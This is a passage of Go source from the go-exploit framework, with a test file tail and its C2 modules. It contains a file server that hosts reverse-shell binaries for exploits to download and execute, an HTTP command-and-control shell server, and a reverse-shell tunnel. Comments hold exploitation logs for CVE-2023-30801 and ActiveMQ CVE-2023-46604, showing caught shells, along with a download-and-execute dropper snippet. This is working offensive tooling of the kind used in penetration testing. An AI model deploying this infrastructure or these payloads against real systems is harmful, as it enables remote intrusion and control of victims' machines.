if len(httpservefile.GetInstance().HostedFiles) != 1 {
t.Fatalf("Should have added a file: %d", len(httpservefile.GetInstance().HostedFiles))
}
httpservefile.GetInstance().FilesToServe = "factory.go"
success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: true})
if success {
t.Fatal("Failed to check if it was invoked as a client")
}
success = impl.Init(&channel.Channel{IPAddr: "127.0.0.2", Port: 1271, HTTPAddr: "127.0.0.1", HTTPPort: 1270, IsClient: false})
if !success {
t.Fatal("Failed to successfully process well-formed init call")
}
// random name should have been generated
if len(httpservefile.GetInstance().HostedFiles["factory.go"].RandomName) == 0 {
t.Fatal("Instance did not generate a random filename")
}
if httpservefile.GetInstance().HTTPAddr != "127.0.0.1" {
t.Fatal("Instance did not take up the http bind addr")
}
if httpservefile.GetInstance().HTTPPort != 1270 {
t.Fatal("Instance did not take up the http bind port")
}
}
func TestExternalModuleSingleton(t *testing.T) {
_, success := GetInstance(Impl{Name: "", Category: InvalidCategory})
if success {
t.Fatal("Invalid & default External modules should not allow instance creation")
}
_, success = GetInstance(Impl{Name: "", Category: ExternalCategory})
if success {
t.Fatal("Empty names should not be allowed")
}
_, success = GetInstance(Impl{Name: "i1", Category: ExternalCategory})
if !success {
t.Fatal("Initial instance of external module was not returned")
}
_, success = GetInstance(Impl{Name: "i2", Category: ExternalCategory})
if !success {
t.Fatal("Could not get second ExternalCategory instance")
}
}
func TestExternalModuleAddC2(t *testing.T) {
_, ok := StringToImpl("blorp")
if ok {
t.Fatal("StringToImpl should not have returned a value")
}
i1 := AddC2("blorp")
i2, ok := StringToImpl("blorp")
if !ok {
t.Fatal("StringToImpl should have returned a value")
}
if i1 != i2 {
t.Fatal("Added C2 does not match")
}
}
================================================
FILE: c2/httpservefile/httpservefile.go
================================================
// httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case
// is for an exploit to curl/wget the file and execute it. This is useful to spawn connections to other
// tools (e.g. Metasploit, nc, etc.) or to go-exploit. This is not a traditional "c2" but serves as a useful
// backend that logically plugs into our c2 design.
//
// Files are provided on the command line as a comma delimited string. For example:
//
// -httpServeFile.FilesToServe ./build/reverse_shell_windows-arm64.exe,./build/reverse_shell_linux-amd64
//
// The above will load two files: a windows reverse shell and a linux reverse shell. This c2 will then
// generate random names for the files and host them on an HTTP / HTTPS server. To interact with the
// files from an implementing exploit, you can fetch the filename to random name mapping using
// GetRandomName(). For example:
//
// httpservefile.GetInstance().GetRandomName(linux64)
//
// Where linux64 is a variable that contains "reverse_shell_linux-amd64".
//
// If you are only hosting one file, then GetRandomName("") will also return your one file.
//
// Files can also be provided programmatically via the AddFile function (must be called before run).
package httpservefile
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"net/http"
"os"
"path"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/encryption"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/random"
)
type HostedFile struct {
// The user provided filename
RealName string
// A randomly generated filename to serve
RandomName string
// The file's data
FileData []byte
}
type Server struct {
// The HTTP address to bind to
HTTPAddr string
// The HTTP port to bind to
HTTPPort int
// Set to the Server field in HTTP response
ServerField string
// Indicates if TLS should be enabled
TLS bool
// The file path to the user provided private key (if provided)
PrivateKeyFile string
// The file path to the user provided certificate (if provided)
CertificateFile string
// Loaded certificate
Certificate tls.Certificate
// A map of hosted files
HostedFiles map[string]HostedFile // RealName -> struct
// A comma delimited list of all the files to serve
FilesToServe string
// C2 channel and session metadata
channel *channel.Channel
}
var singleton *Server
// A basic singleton interface for the c2.
func GetInstance() *Server {
if singleton == nil {
singleton = new(Server)
// init hosted files map
singleton.HostedFiles = make(map[string]HostedFile)
}
return singleton
}
// User options for serving a file over HTTP as the "c2".
func (httpServer *Server) CreateFlags() {
// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
// so first check if these values have already been generated
if flag.Lookup("httpServeFile.FilesToServe") == nil {
flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve")
flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field")
flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption")
flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server")
flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server")
}
}
// Return the C2 specific channel.
func (httpServer *Server) Channel() *channel.Channel {
return httpServer.channel
}
// Shutdown the C2 server and cleanup all the sessions.
func (httpServer *Server) Shutdown() bool {
// Account for non-running case
if httpServer.Channel() == nil {
return true
}
output.PrintFrameworkStatus("Shutting down the HTTP Server")
if len(httpServer.Channel().Sessions) > 0 {
for k := range httpServer.Channel().Sessions {
httpServer.Channel().RemoveSession(k)
}
}
return true
}
// load the provided files into memory, stored in a map, and loads the tls cert if needed.
func (httpServer *Server) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
httpServer.channel = channel
if channel.IsClient {
output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")
return false
}
switch {
case channel.HTTPPort == 0 && channel.Port != 0:
// must be stand-alone invocation of HTTPServeFile
httpServer.HTTPAddr = channel.IPAddr
httpServer.HTTPPort = channel.Port
case channel.HTTPPort != 0:
// must be used with another C2
httpServer.HTTPAddr = channel.HTTPAddr
httpServer.HTTPPort = channel.HTTPPort
default:
output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")
return false
}
// split the provided files, read them in, and store them in the map
files := strings.Split(httpServer.FilesToServe, ",")
for _, file := range files {
if len(file) == 0 {
continue
}
output.PrintfFrameworkStatus("Loading the provided file: %s", file)
fileData, err := os.ReadFile(file)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
// remove the path from the name (check for / and \)
shortName := file
pathSepIndex := strings.LastIndex(shortName, "/")
if pathSepIndex != -1 {
shortName = shortName[pathSepIndex+1:]
}
pathSepIndex = strings.LastIndex(shortName, `\`)
if pathSepIndex != -1 {
shortName = shortName[pathSepIndex+1:]
}
hosted := HostedFile{
RealName: shortName,
RandomName: random.RandLetters(12),
FileData: fileData,
}
output.PrintfFrameworkDebug("Added %s as %s", hosted.RealName, hosted.RandomName)
httpServer.HostedFiles[shortName] = hosted
}
if httpServer.TLS {
var ok bool
var err error
if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
if err != nil {
output.PrintfFrameworkError("Error loading certificate: %s", err.Error())
return false
}
} else {
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
httpServer.Certificate, ok = encryption.GenerateCertificate()
if !ok {
return false
}
}
}
return true
}
// Adds a file to the server. A route will be created for "randomName" when run() is executed.
func (httpServer *Server) AddFile(realName string, randomName string, data []byte) {
hostMe := HostedFile{RealName: realName, RandomName: randomName, FileData: data}
httpServer.HostedFiles[realName] = hostMe
}
// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
func (httpServer *Server) Run(timeout int) {
if len(httpServer.HostedFiles) == 0 {
output.PrintFrameworkError("No files provided via httpServeFile.FilesToServe or programmatically")
return
}
// set up handlers for each of the files
for _, hosted := range httpServer.HostedFiles {
http.HandleFunc("/"+hosted.RandomName, func(writer http.ResponseWriter, req *http.Request) {
output.PrintfFrameworkStatus("Connection from %s requested %s", req.RemoteAddr, req.URL.Path)
httpServer.Channel().AddSession(nil, req.RemoteAddr)
writer.Header().Set("Server", httpServer.ServerField)
name := path.Base(req.URL.Path)
// cannot used hosted as the values move on with the loop
for _, selected := range httpServer.HostedFiles {
if selected.RandomName == name {
http.ServeContent(writer, req, selected.RandomName, time.Time{}, bytes.NewReader(selected.FileData))
return
}
}
writer.WriteHeader(http.StatusNotFound)
})
}
var wg sync.WaitGroup
connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
wg.Add(1)
go func() {
if httpServer.TLS {
output.PrintfFrameworkStatus("Starting an HTTPS server on %s", connectionString)
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{httpServer.Certificate},
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
MinVersion: tls.VersionSSL30,
}
server := http.Server{
Addr: connectionString,
TLSConfig: tlsConfig,
}
defer server.Close()
// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
go func() {
for {
if httpServer.Channel().Shutdown.Load() {
server.Close()
httpServer.Shutdown()
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Handle timeouts
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
// We do not care about sessions with file
httpServer.channel.Shutdown.Store(true)
}()
_ = server.ListenAndServeTLS("", "")
} else {
output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
server := http.Server{
Addr: connectionString,
}
defer server.Close()
// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
go func() {
for {
if httpServer.Channel().Shutdown.Load() {
server.Close()
httpServer.Shutdown()
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Handle timeouts
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
// We do not care about sessions with file
httpServer.channel.Shutdown.Store(true)
}()
_ = http.ListenAndServe(connectionString, nil)
}
}()
wg.Wait()
httpServer.Channel().Shutdown.Store(true)
}
// Returns the random name of the provided filename. If filename is empty, return the first entry.
func (httpServer *Server) GetRandomName(filename string) string {
if len(filename) == 0 {
for _, hosted := range httpServer.HostedFiles {
return hosted.RandomName
}
}
hosted, found := httpServer.HostedFiles[filename]
if !found {
output.PrintfFrameworkError("Requested a file that doesn't exist: %s", filename)
return ""
}
return hosted.RandomName
}
================================================
FILE: c2/httpserveshell/httpserveshell.go
================================================
// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).
// The use case is when you want to drop/execute a custom binary, but you still want to catch it in
// go-exploit. Example usage:
//
// albinolobster@mournland:~/initial-access/feed/cve-2023-30801$ ./build/cve-2023-30801_linux-arm64
// -e -rhost 10.9.49.133 -lhost 10.9.49.134 -lport 1270 -httpServeFile.BindAddr 10.9.49.134
// -httpServeShell.SSLShell=false -httpServeFile.FilesToServe ./build/reverse_shell_windows-amd64.exe
// -httpServeFile.TLS=true
// time=2023-09-08T11:07:20.852-04:00 level=STATUS msg="Loading the provided file: ./build/reverse_shell_windows-amd64.exe"
// time=2023-09-08T11:07:20.856-04:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
// time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting listener on 10.9.49.134:1270"
// time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.133 port=8080 ssl=false "ssl auto"=false
// time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting an HTTPS server on 10.9.49.134:8080"
// time=2023-09-08T11:07:21.092-04:00 level=STATUS msg="Using session: SID=rIOk9SAl5TXTqIfpVGmYUn/kB+VuMrqo"
// time=2023-09-08T11:07:21.095-04:00 level=STATUS msg="Selecting a Windows payload"
// time=2023-09-08T11:07:21.309-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.133:51706"
// time=2023-09-08T11:07:21.309-04:00 level=STATUS msg="Active shell from 10.9.49.133:51706"
// time=2023-09-08T11:07:23.180-04:00 level=STATUS msg="Exploit successfully completed"
// whoami
// albinolobst9bd8\albinolobster
//
// From the exploit code, interacting with the variables isn't too much different from using httpServeFile
// (since httpServeShell is just a wrapper):
//
// downAndExec := dropper.Windows.CurlHTTP(
// httpservefile.GetInstance().HTTPAddr, httpservefile.GetInstance().HTTPPort,
// httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName(windows64))
//
// Which means anything that supports httpServeShell should also trivially support httpServeFile (and the other way around
// as long as you are accounting for httpServeFile.SSLShell).
package httpserveshell
import (
"flag"
"sync"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
"github.com/vulncheck-oss/go-exploit/c2/sslshell"
"github.com/vulncheck-oss/go-exploit/output"
)
type Server struct {
// Indicates if we should use SSLShell or SimpleShell
SSLShell bool
// The HTTP address to bind to
HTTPAddr string
// The HTTP port to bind to
HTTPPort int
// The underlying C2 channel with metadata and session information
channel *channel.Channel
pastTimeout atomic.Bool
}
var singleton *Server
// A basic singleton interface for the c2.
func GetInstance() *Server {
if singleton == nil {
singleton = new(Server)
}
return singleton
}
// User options for serving a file over HTTP as the "c2".
func (serveShell *Server) CreateFlags() {
flag.BoolVar(&serveShell.SSLShell, "httpServeShell.SSLShell", false, "Indicates if the SSLShell or SimpleShell is used")
// normal "httpservefile" uses lhost,lport for binding so we need to create new vars for that
flag.StringVar(&serveShell.HTTPAddr, "httpServeFile.BindAddr", "", "The address to bind the HTTP serve to")
flag.IntVar(&serveShell.HTTPPort, "httpServeFile.BindPort", 8080, "The port to bind the HTTP serve to")
httpservefile.GetInstance().CreateFlags()
sslshell.GetInstance().CreateFlags()
}
// load the provided file into memory. Generate the random filename.
func (serveShell *Server) Init(ch *channel.Channel) bool {
if ch.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
ch.Shutdown = &shutdown
}
serveShell.pastTimeout.Store(false)
serveShell.channel = ch
if len(serveShell.HTTPAddr) == 0 {
output.PrintFrameworkError("User must specify -httpServeFile.BindAddr")
return false
}
ch.HTTPAddr = serveShell.HTTPAddr
ch.HTTPPort = serveShell.HTTPPort
if !httpservefile.GetInstance().Init(ch) {
return false
}
// Initialize the shell server channels with variables from upstream
var shutdown atomic.Bool
shutdown.Store(false)
shellChannel := &channel.Channel{
IPAddr: ch.IPAddr,
Port: ch.Port,
IsClient: false,
Shutdown: &shutdown,
}
if serveShell.SSLShell {
return sslshell.GetInstance().Init(shellChannel)
}
return simpleshell.GetServerInstance().Init(shellChannel)
}
// Shutdown triggers the shutdown for all running C2s.
func (serveShell *Server) Shutdown() bool {
// Account for non-running case
if serveShell.Channel() == nil {
return true
}
// This is a bit confusing at first glance, but it solves the fact that this c2 doesn't directly
// keep track of sessions and we can't differentiate between a timeout "done" and a signal "done".
// What this means is that if a underlying shell server has sessions that we want to keep open for
// use after callbacks occur we have to account for a few things:
//
// - If serveShell shutdown is called and there are no sessions, just trigger shutdown on the
// underlying shell server (easy).
// - If the server does have sessions, we have a few issues. The serveShell shutdown is triggered
// from a shutdown call, meaning that it's already in a closing state. There is no way to tell
// if it was an OS signal or a timeout anymore and now if a background shell is running and we
// are closing serveShell we cannot catch the signal and pass the shutdown to the shell server.
//
// In order to solve the second, we added a `pastTimeout` atomic that only signals if we are past
// timeout. Now, when timeout is reached and there's a background shell (the positive case) we
// reset the Shutdown atomic to false and then begin looping to check if it closes again, making
// the server in a state that it knows it's past timeout and reactivating the server until a
// signal is hit or the underlying server also shuts down.
httpservefile.GetInstance().Channel().Shutdown.Store(true)
if serveShell.SSLShell {
if !sslshell.GetInstance().Channel().HasSessions() {
sslshell.GetInstance().Channel().Shutdown.Store(true)
} else {
// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
serveShell.Channel().Shutdown.Store(false)
for {
if serveShell.Channel().Shutdown.Load() {
// The the shutdown happens and it is past timeout, that means that
// we have sessions but timeout has passed, so reset all atomics.
// Now when the loop happens we will be able to check for other
// shutdown signals of any kind.
if serveShell.pastTimeout.Load() {
serveShell.Channel().Shutdown.Store(false)
serveShell.pastTimeout.Store(false)
} else {
sslshell.GetInstance().Channel().Shutdown.Store(true)
break
}
}
}
}
} else {
if !simpleshell.GetServerInstance().Channel().HasSessions() {
simpleshell.GetServerInstance().Channel().Shutdown.Store(true)
} else {
// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
serveShell.Channel().Shutdown.Store(false)
for {
if serveShell.Channel().Shutdown.Load() {
// The the shutdown happens and it is past timeout, that means that
// we have sessions but timeout has passed, so reset all atomics.
// Now when the loop happens we will be able to check for other
// shutdown signals of any kind.
if serveShell.pastTimeout.Load() {
serveShell.Channel().Shutdown.Store(false)
serveShell.pastTimeout.Store(false)
} else {
simpleshell.GetServerInstance().Channel().Shutdown.Store(true)
break
}
}
}
}
}
return true
}
// Return the underlying C2 channel.
func (serveShell *Server) Channel() *channel.Channel {
return serveShell.channel
}
// start the http server and shell and wait for them to exit.
func (serveShell *Server) Run(timeout int) {
var wg sync.WaitGroup
// Check if the channel has signaled shutdown and trigger cleanup no matter where it comes from.
go func() {
for {
if serveShell.channel.Shutdown.Load() {
serveShell.Shutdown()
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
serveShell.pastTimeout.Store(true)
}()
// Spin up the shell
wg.Add(1)
go func() {
if serveShell.SSLShell {
sslshell.GetInstance().Run(timeout)
// Handle shutdown for OS signaling or timeout from underlying instance
go func() {
for {
if sslshell.GetInstance().Channel().Shutdown.Load() {
serveShell.Channel().Shutdown.Store(true)
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
} else {
simpleshell.GetServerInstance().Run(timeout)
// Handle shutdown for OS signaling or timeout from underlying instance
go func() {
for {
if simpleshell.GetServerInstance().Channel().Shutdown.Load() {
serveShell.Channel().Shutdown.Store(true)
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
}
}()
// Spin up the http server
wg.Add(1)
go func() { httpservefile.GetInstance().Run(timeout) }()
// wait until the go routines are clean up
wg.Wait()
}
================================================
FILE: c2/httpshellserver/httpshellserver.go
================================================
// A C2 server that handles shell interaction over HTTP.
package httpshellserver
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/encryption"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/random"
)
var (
singleton *Server
cliLock sync.Mutex
commandChan = make(chan string)
lastSeen time.Time
)
type Server struct {
// The HTTP address to bind to
HTTPAddr string
// The HTTP port to bind to
HTTPPort int
// Set to the Server field in HTTP response
ServerField string
// Indicates if TLS should be enabled
TLS bool
// The file path to the user provided private key (if provided)
PrivateKeyFile string
// The file path to the user provided certificate (if provided)
CertificateFile string
// Loaded certificate
Certificate tls.Certificate
// Allows us to track if a connection has been received during the life of the server
Success bool
// Randomly generated during init, gives some sense of security where there is otherwise none.
// This should appear in a header with the name VC-Auth
AuthHeader string
channel *channel.Channel
}
// A basic singleton interface for the c2.
func GetInstance() *Server {
if singleton == nil {
singleton = new(Server)
}
return singleton
}
func (httpServer *Server) Init(channel *channel.Channel) bool {
if channel.Shutdown == nil {
// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
// configured.
var shutdown atomic.Bool
shutdown.Store(false)
channel.Shutdown = &shutdown
}
if channel == nil {
output.PrintFrameworkError("Channel passed to C2 init was nil, ensure that channel is assigned and the shutdown atomic is set to false")
return false
}
httpServer.channel = channel
if testing.Testing() {
httpServer.AuthHeader = "testing-auth-header"
} else {
httpServer.AuthHeader = random.RandLetters(20)
}
if channel.IsClient {
output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")
return false
}
switch {
case channel.Port != 0:
httpServer.HTTPAddr = channel.IPAddr
httpServer.HTTPPort = channel.Port
default:
output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")
return false
}
if httpServer.TLS {
var ok bool
var err error
if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
if err != nil {
output.PrintfFrameworkError("Error loading certificate: %s", err.Error())
return false
}
} else {
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
httpServer.Certificate, ok = encryption.GenerateCertificate()
if !ok {
return false
}
}
}
return true
}
// User options for serving a file over HTTP as the "c2".
func (httpServer *Server) CreateFlags() {
flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field")
flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption")
flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server")
flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server")
}
// Get the underlying C2 channel with metadata and session information.
func (httpServer *Server) Channel() *channel.Channel {
return httpServer.channel
}
// Shutdown the C2 server and cleanup all the sessions.
func (httpServer *Server) Shutdown() bool {
// Account for non-running case
if httpServer.Channel() == nil {
return true
}
output.PrintFrameworkStatus("Shutting down the HTTP Server")
if len(httpServer.Channel().Sessions) > 0 {
for k := range httpServer.Channel().Sessions {
httpServer.Channel().RemoveSession(k)
}
}
return true
}
// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
//
//nolint:gocognit
func (httpServer *Server) Run(timeout int) {
http.HandleFunc("/rx", func(writer http.ResponseWriter, req *http.Request) {
authHeader := req.Header.Get("Vc-Auth")
if authHeader != httpServer.AuthHeader {
writer.WriteHeader(http.StatusForbidden)
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader)
return
}
body, _ := io.ReadAll(req.Body)
if strings.TrimSpace(string(body)) != "" {
output.PrintShell(fmt.Sprintf("%s: %s", req.RemoteAddr, string(body)))
}
})
http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) {
authHeader := req.Header.Get("Vc-Auth")
if authHeader != httpServer.AuthHeader {
writer.WriteHeader(http.StatusForbidden)
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader)
return
}
lastSeen = time.Now()
writer.Header().Set("Server", httpServer.ServerField)
if !httpServer.Success {
go func() {
httpServer.Success = true
httpServer.Channel().AddSession(nil, req.RemoteAddr)
output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr)
cliLock.Lock()
defer cliLock.Unlock()
for {
elapsed := time.Since(lastSeen)
if elapsed/time.Millisecond > 10000 {
fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second)
} else {
fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond)
}
reader := bufio.NewReader(os.Stdin)
command, _ := reader.ReadString('\n')
trimmedCommand := strings.TrimSpace(command)
if trimmedCommand == "help" {
fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n")
continue
}
if trimmedCommand == "exit" {
output.PrintStatus("Exit received, shutting down")
httpServer.Channel().Shutdown.Store(true)
return
}
if strings.TrimSpace(command) != "" {
commandChan <- strings.TrimSpace(command)
}
}
}()
}
select {
case command := <-commandChan:
writer.WriteHeader(http.StatusOK)
fmt.Fprint(writer, command)
default:
writer.WriteHeader(http.StatusOK)
}
})
var wg sync.WaitGroup
connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
wg.Add(1)
go func() {
if httpServer.TLS {
output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString)
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{httpServer.Certificate},
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
//nolint
MinVersion: tls.VersionSSL30,
}
server := http.Server{
Addr: connectionString,
TLSConfig: tlsConfig,
// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
}
defer server.Close()
// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
go func() {
for {
if httpServer.Channel().Shutdown.Load() {
httpServer.Shutdown()
server.Close()
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Handle timeouts
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
if !httpServer.Channel().HasSessions() {
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
httpServer.channel.Shutdown.Store(true)
}
}()
_ = server.ListenAndServeTLS("", "")
} else {
output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
server := http.Server{
Addr: connectionString,
}
defer server.Close()
// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown
go func() {
for {
if httpServer.Channel().Shutdown.Load() {
server.Close()
httpServer.Shutdown()
wg.Done()
break
}
time.Sleep(10 * time.Millisecond)
}
}()
// Handle timeouts
go func() {
time.Sleep(time.Duration(timeout) * time.Second)
if !httpServer.Channel().HasSessions() {
output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
httpServer.channel.Shutdown.Store(true)
}
}()
_ = server.ListenAndServe()
}
}()
wg.Wait()
httpServer.Channel().Shutdown.Store(true)
}
================================================
FILE: c2/shelltunnel/shelltunnel.go
================================================
// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and
// a connectback server. It essentially allows for this setup:
//
// | Box 1 | | Box 2 | | Box 3 |
// | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin |
//
// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker
// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as
// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just
// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
//
// Usage example using an unencrypted reverse shell:
//
// albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
// time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
// time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
// time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
// time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
// time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
// time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
// time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
// time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
// time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
//
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
// at 10.9.49.12:1270. The shell there looks like this:
//
// parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
// Listening on 0.0.0.0 1270
// Connection received on 10.9.49.192 51478
// pwd
// /opt/apache-activemq-5.15.2
//
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
//
// ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
//
// And the reverse shell can now be caught by openssl:
//
// parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
// pwd
// /opt/apache-activemq-5.15.2
package shelltunnel
import (
"crypto/tls"
"errors"
"flag"
"fmt"
"io"
"net"
"strconv"
"strings"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/encryption"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
)
type Server struct {
// the TCP listener that will accept all the connections
Listener net.Listener
// the server address/hostname to tunnel the data to
ConnectBackHost string
// the server port to tunnel the data to
ConnectBackPort int
// indicates if we should use an encrypted tunnel to the server
ConnectBackSSL bool
// indicates if we should be listening as an SSL server
SSLShellServer bool
// The file path to the user provided private key (if provided)
PrivateKeyFile string
// The file path to the user provided certificate (if provided)
CertificateFile string
// Underlying C2 channel with metadata and session tracking
channel *channel.Channel
}
var (
serverSingleton *Server
ErrTLSListener = errors.New("tls listener init")
)
func GetInstance() *Server {
if serverSingleton == nil {
serverSingleton = new(Server)
}
return serverSingleton
}
func (shellTunnel *Server) CreateFlags() {
flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to")
